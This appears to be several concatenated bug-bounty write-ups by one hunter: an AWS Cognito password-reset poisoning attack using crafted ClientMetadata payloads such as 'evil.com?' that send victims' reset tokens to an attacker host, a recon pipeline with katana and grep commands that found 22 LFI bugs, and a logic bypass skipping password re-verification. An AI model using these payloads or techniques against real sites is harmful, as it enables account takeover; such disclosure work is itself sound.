Before the story, I’ll quickly explain the only AWS Cognito bits you need for this scenario — so when you see the payloads, you know exactly why this worked.

What is AWS Cognito?

• Simple and Secure User Sign-Up, Sign-In, and Access Control

• Amazon Cognito provides authentication, authorization, and user management for web and mobile apps. The users can sign in directly with a username and password, or through a third party such as Facebook, Amazon, Google, or Apple.
  The two main components of Amazon Cognito are user pools and identity pools. User pools are user directories that provide sign-up and sign-in options for the app users. Identity pools enable the developer to grant their users access to other AWS services. The developer can use identity pools and user pools separately or together.

Key Components

1. User Pools

• Manage and authenticate users.

• Handles registration, login, MFA, and account recovery.

2. Identity Pools

• Provide temporary AWS credentials for authenticated (or even guest) users.

• Let's apps access AWS resources directly (e.g., upload to S3).

Other Concepts To Know

• ClientId is used to tell AWS Cognito Host that the current request is for application X, and every application has a unique ClientId. We can get it simply from JS Code or by intercepting Signup or login requests

• API operations are the actions or functions you can call on a service (e.g., ForgotPassword, SignUp, ListUsers). Each operation has an endpoint, method, and input/output that define how you interact with the service. Here is an example of these operations, like AWSCognitoIdentityProviderService.ForgotPassword, which is set in the X-Amz-Target Header, and each API Operation expects specific optional and required parameters that we can know from the docs

• ForgotPassword API
  This endpoint sends a reset code/link to the user. Importantly, it accepts a ClientMetadata map. Cognito then passes whatever you put in ClientMetadata to your Lambda triggers (like CustomMessage) — without validating or storing it. The docs literally say Cognito won’t validate it and only forwards it to your triggers, so it’s the developer’s responsibility to handle it, and here is our finding core. (AWS Documentation)

• ClientMetadata (in general)
  ClientMetadata is a map of custom key–value pairs you can pass when calling Cognito APIs (like ForgotPassword). These values are included in the JSON payload sent to any Lambda triggers (e.g., pre-sign-up, custom message, user migration). Inside the Lambda function, you can read and use it clientMetadata to customize or enhance your workflow.. (AWS Documentation)

The finding: “Click ATO” via custom ClientMetadata manipulation

context: the target’s frontend calls Cognito’s ForgotPassword with a custom ClientMetadata that their backend/Lambda uses to craft the visible reset link inside the email. concatenates into the link. It was empty by default.

The request I saw (original)

POST / HTTP/2
Host: cognito-idp.eu-central-1.amazonaws.com
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityProviderService.ForgotPassword
Te: trailers

{
  "ClientId": "2kmb8km41ppqavnxxxxx",
  "Username": "zomasec@wearehackerone.com",
  "ClientMetadata": {
    "redirectUrl": "/en-de/aut",
    "locale": "en",
    "snowPlowDomainUserId": "xxxxxx-xxxx-xxxx-xxx-xxxxx",
    "subdomain": "",
    "authOrigin": ""
  }
}

and the reset link that comes in the email looked like this :

https://www.freeplastine.ai/en-de/reset-password/<userId>
  ?email=<email>
  &_sp=xxxx
  &redirectUrl=/en-de/aut
  &confirmationToken=xxx

My first thought

The first thing that came to my mind is what if the application relies on the value of authOrigin or subdomain in the link that is sent to mail, but the only one that changed is the subdomain parameter

I replaced the empty subdomain with evil.com thinking “maybe this sets the subdomain or hostname”. The result surprised me a bit:

"subdomain": "evil.com"

→ the link turned into:

https://evil.com.freeplastine.gaza/en-de/reset-password/<userId>?email=<email>&_sp=xxxx&redirectUrl=/en-de/aut&confirmationToken=xxx

So the app prepended whatever I put into it subdomain as a subdomain of the legit site. cute. But this alone isn’t useful unless I can take over evil.freeplastine.gaza (subdomain takeover). not an easy option for our ATO. Let’s see how to bypass!

How does the browser parse URLs?

Actually, this is a long story I have studied in Chapter One of The Tangled Web book, which I really recommend for everyone who wants to get deep into client-side attacks and how browser works with web applications, but I will summarize it here into simple steps :

URL Structure

What is happening when you open a URL via a browser?

The browser is doing these steps in the order below :

1. Extract the schema/protocol name.

2. Consume the hierarchical URL Identifier should find // Skip if found, fail out if not.

3. Grab the authority section, scan for the next “/”, “?”, or “#”.

4. Find the credentials, if any. search for @ to get login credentials

5. Extract the destination address like google.com

6. Identify the path (if present)

7. Extract the query string (if present).

8. Extract the fragment identifier (if present) #

Ok, now we have a basic look at what happened when opening a URL via a browser

Escalation and bypasses

How do we convert this URL https://evil.com.freeplastine.gaza/ to an exploitable one by making the browser set the domain of the attacker instead of dealing with it as a subdomain?

We know now from my explanation above that browsers grab the authority section, scanning for “/”, “?”, or “#” In the 3rd step, before grabbing the destination address, which is evil.com.freeplastine.gaza In our case

This allows us to do our attack successfully if the developer relies on the ClientMetadata that comes from AWS without any validation enforced.

We can bypass it in several ways, like using both of “/”, “?” x because they are sent to the server, the hash delimiter cannot be used here, because the browser will use it locally on the client side, and will not send it to the server

So I can use both of those delimiters to craft a final link that will set the attacker's domain instead of freeplastine.gaza

evil.com?-> the link will be received to be like :
evil.com?freeplastine.gaza This will be parsed by the browser to make evil.com the domain of the URL

https://evil.com?.freeplastine.gaza/en-de/reset-password/<userId>?email=<email>&_sp=xxxx&redirectUrl=/en-de/aut&confirmationToken=xxx

Here is a screenshot of how the browser parsed the URL, and the origin is set to the attacker’s host, and parsed the target host as a search query, and also the browser fixed the URL by adding / automatically to make it a correct URL, as we mentioned before :

Press enter or click to view image in full size

The same payload can be crafted with a path delimiter “/”

Steps To Reproduce :

1. In the password reset request to the ForgotPassword API operation, we will intercept it using Burp Suite

Press enter or click to view image in full size

boom the final link sent over mail to the victim became:

Press enter or click to view image in full size

https://evil.com/.freeplastine.gaza/en-de/reset-password/<userId>?email=<email>&_sp=xxxx&redirectUrl=/en-de/aut&confirmationToken=xxx

The host is now evil.com (attacker-controlled). The legit domain got pushed into the path (/.freeplastine.gaza/en-de/...This is classic Password Reset Poisoning caused by trusting unvalidated metadata when composing URLs that lead to sent victim’s reset password link to the attacker’s domain that will make him steal it. logging the requests sent to it

I hope you all enjoyed this blog and learnt something new. Wait for my next Write-up, which is Zero Click ATO on the same target but with a new misconfiguration

I found this on a penetration testing project at Deepstrike LLC

اذكر الله أخي المسلم

Press enter or click to view the image in full size

Indeed, it is a Jihad: either victory or martyrdom.

Assalamualaikum, everyone! I will not introduce myself this one, cuz it’s os pouring when I read others’ write-ups

The bug hasn’t been fixed yet, so I won’t mention the website’s name. Let’s just call it freepalestine.com

The story from recon to 22 LFI 3>

Recon process:

I am hunting these days on VDP to make a profile and get private programs, so this is why I am sharing this write-up and why I was wasting time on VDP :)

My recon in VDP programs is different than BBP programs, so I just focus on collecting hidden or new subdomains and collecting hidden endpoints and run my private automation on them cuz in not need knowledge from VDP or experience. I am so clear when I say that doing this is for reputation.

I already have a private subdomain enumeration tool, but before this, I can say that you can run a tool like Subfinder and give it a lot of api keys to collect the highest number of subdomains passively, or you can use the known bash script like subenum

I collected all the subdomains from all domains, then I started running waymore on them. Then I collected a lot of URLs. I have a private tool that likes gf patterns, but with more patterns and easy to configure (I will share it soon)

I now have a lot of URLs and sorted by the bugs like XSS, SQLi, ssrf based on parameters

I started surfing them manually while my automaton is doing its magic on them, but I found an interesting parameter that may be vuln to LFI. The param’s name is something random or non-English like /nonenglishname?lighfi=filename.php

In my mind, I said, of course it’s vulnerable because I know that this program is so stupid to include a file form parameter name like this case

And already, if I changed the value of param to a random value, it gives me an error instead of showing pages

Press enter or click to view the image in full size

So I wrote the payload easily and got this

Press enter or click to view the image in full size

Now you will ask me why you are sharing this shit !!

Of course, this is not the write-up, so don’t leave now :)

I was thinking what if the same bug exists on more than subdomain, so I searched with the parameter name in the URLs, guess what I found, another 2 bugs from this because the same bug exists on the other subdomains

I say, of course, there is more. I was thinking of searching by the path itself, but I did not find anything because each subdomain has a different path in a non-English name

I stopped here for a while and reported the 3 bugs, and after testing XSS in the same other subs, i got an idea to search by the parameter value itself

The thing that all 3 bugs are the same in is the value of the parameter, it’s a =filename.php So I wrote a grep command to search for all parameters that have a PHP file name

cat passive-urls.txt | grep -Pv 'source=' | grep -P '\?[^=]+=\K[^&]+\.php' | uro

As in my notes, at that moment, I found another 6 LFI bugs from this

Now I have 9 bugs

But here I used way more to collect URLs faster than crawling each subdomain, cuz the program has a lot of subs, but this means that I collected the cached URLs by WebArchive and common crawl so if there new subdomain, I will not get its URLs, so it's not cached yet

I am using Katana; you can use any other crawler you want, but I prefer Katana. The command was like

cat alive.txt |katana -d 5 -jc -jsl -c 50 -p 50 -silent -o crawl-urls.txt

Now I have more num of urls for the latest new subdomains on this program that were not found passively using WayMore, so this is the difference between crawlers and tools like waymore and gau

After collecting all endpoints from all subdomains, I ran the regex above that catches the params that have filename.php as a value I found all 22 LFI.

For unknown reasons, the program accepted the first 3 bugs, and after a week, they gave me duplicates for all of the others on my 3 submissions without an understandable reason (the bugs on different subs and different params, and different paths !!), just the program does not want to accept them (عافية)
ادي اخرة البروجرامز ام ابو بلاش بتعمل فيه خير ومستخسر يديك نقط

I tried to escalate it to RCE via known methods, but without any result

You can see this to know how to escalate LFI to RCE

Now I have an automation to do all that you read here, but I explained what I did when I tested this program cmd by cmd cuz i was enjoying when i testing this, i tried to tell you what is on my mind when I found this, this is not an advanced writeup, maybe for begainers or people that not familiar with tools and automation

اذكر الله أخي المسلم

Assalamualaikum, everyone! Let me introduce myself first ❤️

I’m Hazem El-Sayed (zoma), a Junior Computer Science student and an Offensive Security enthusiast. Currently, I’m hunting for bugs in Vulnerability Disclosure Programs (VDPs), and sometimes in Bug Bounty Programs (BBPs), like our bug today, alhamdullah. I also enjoy playing Capture the Flag (CTF) on various platforms like HTB, Cyber Talents, and PicoCTF to gain knowledge.

The bug I’m going to discuss hasn’t been fixed yet, so that I won’t reveal the website’s name. Let’s just call it freepalestine.com.

Why Look for Logic Bugs?

I’m just beginning my bug-hunting journey with real applications. When I started hunting in freepalestine.comI decided to focus on logical bugs. Other bug hunters typically look for common vulnerabilities, such as XSS, SQL Injection, and CSRF, and most have used scanners to identify these issues, so the site is relatively clean of those types of vulnerabilities that other hackers have already discovered.

In our target, the scope includes only two sites. Guess what? There were over 750 accepted reports in the program! Even with all that scrutiny, I found a simple logic bug that no one else had noticed.

Do you know why?!

Because I am a HACKERMAN ❤️ 👽

Just kidding, I’m just a noob 😅.

But seriously, you should also focus on logic bugs. Unlike traditional bugs, logic bugs require unique thinking rather than using tools or pre-defined payload lists in Burp Intruder. If you rely solely on this, you’re missing out on discovering more complex and interesting vulnerabilities.

How to Hunt for Logic Bugs: Key Steps

1. Start Using the Application as a Normal User

   Begin by exploring the application as a regular user. Understand its functionalities and interesting features, and try to find engineering blogs or documentation if available.

2. Understand the Application’s Purpose and Workflow

   Answer these questions while exploring:

   • What is the purpose of the application?

   • Does it have different user roles (e.g., admin, proUser, normalUser)?

   • How does the application authenticate users and assign privileges?

   • What workflows are involved for features like email change, password change, purchase, etc.?

Note: Intercept requests while browsing and pay attention to sensitive functionalities. Track each request during these actions to understand how functionalities and access controls are implemented.

3. Think Outside the Box

   After understanding the application’s behavior, try to think outside the box. What would happen if you skipped a step or took an unexpected action? Could you access an admin endpoint as a normal user? Think creatively to bypass access controls or interfere with application logic.

Example Bug: Workflow and Description

On freepalestine.com (a store like Amazon or Alibaba), Users can either buy products as normal accounts or sell them as sellers.

The bug is related to changing the user’s email and mobile number.

Normal Workflow:

1. User clicks on "change email" in settings at freepalestine.com/user/profile.

2. The application verifies the user at freepalestine.com/user/verification-pc.

3. Checks if the password is correct.

4. If correct, returns to freepalestine.com/profile/email/change.

5. The user can change their email on the opened page.

Logic Bypass: What if we jumped from step 2 to step 5 directly?

The /verification-pc endpoint has a return parameter that leads back to the email change page:

freepalestine.com/user/verification-pc?return=https%3A%2F%2Ffreepalestine.com%2Fprofile%2Femail%2Fchange

By decoding the return parameter, I accessed freepalestine.com/profile/email/change without entering the password, and was able to change the email. This simple bug could enable a session hijacking attack if chained with another exploit.

The mobile change follows the same logic, so I won’t repeat it here.

Impact and Resolution

The security team initially rated it High Severity, but then downgraded it to Medium because:

"This behavior alone doesn’t result in a security impact. However, it could elevate the impact if paired with another exploit, like session hijacking."

I agree with this assessment, so I’m not disappointed 😢.

Closing Thoughts

I hope this example helped, even if in a small way. Remember to always think creatively when hunting for bugs.

Just one thing to say: اذكر الله يا أخي المسلم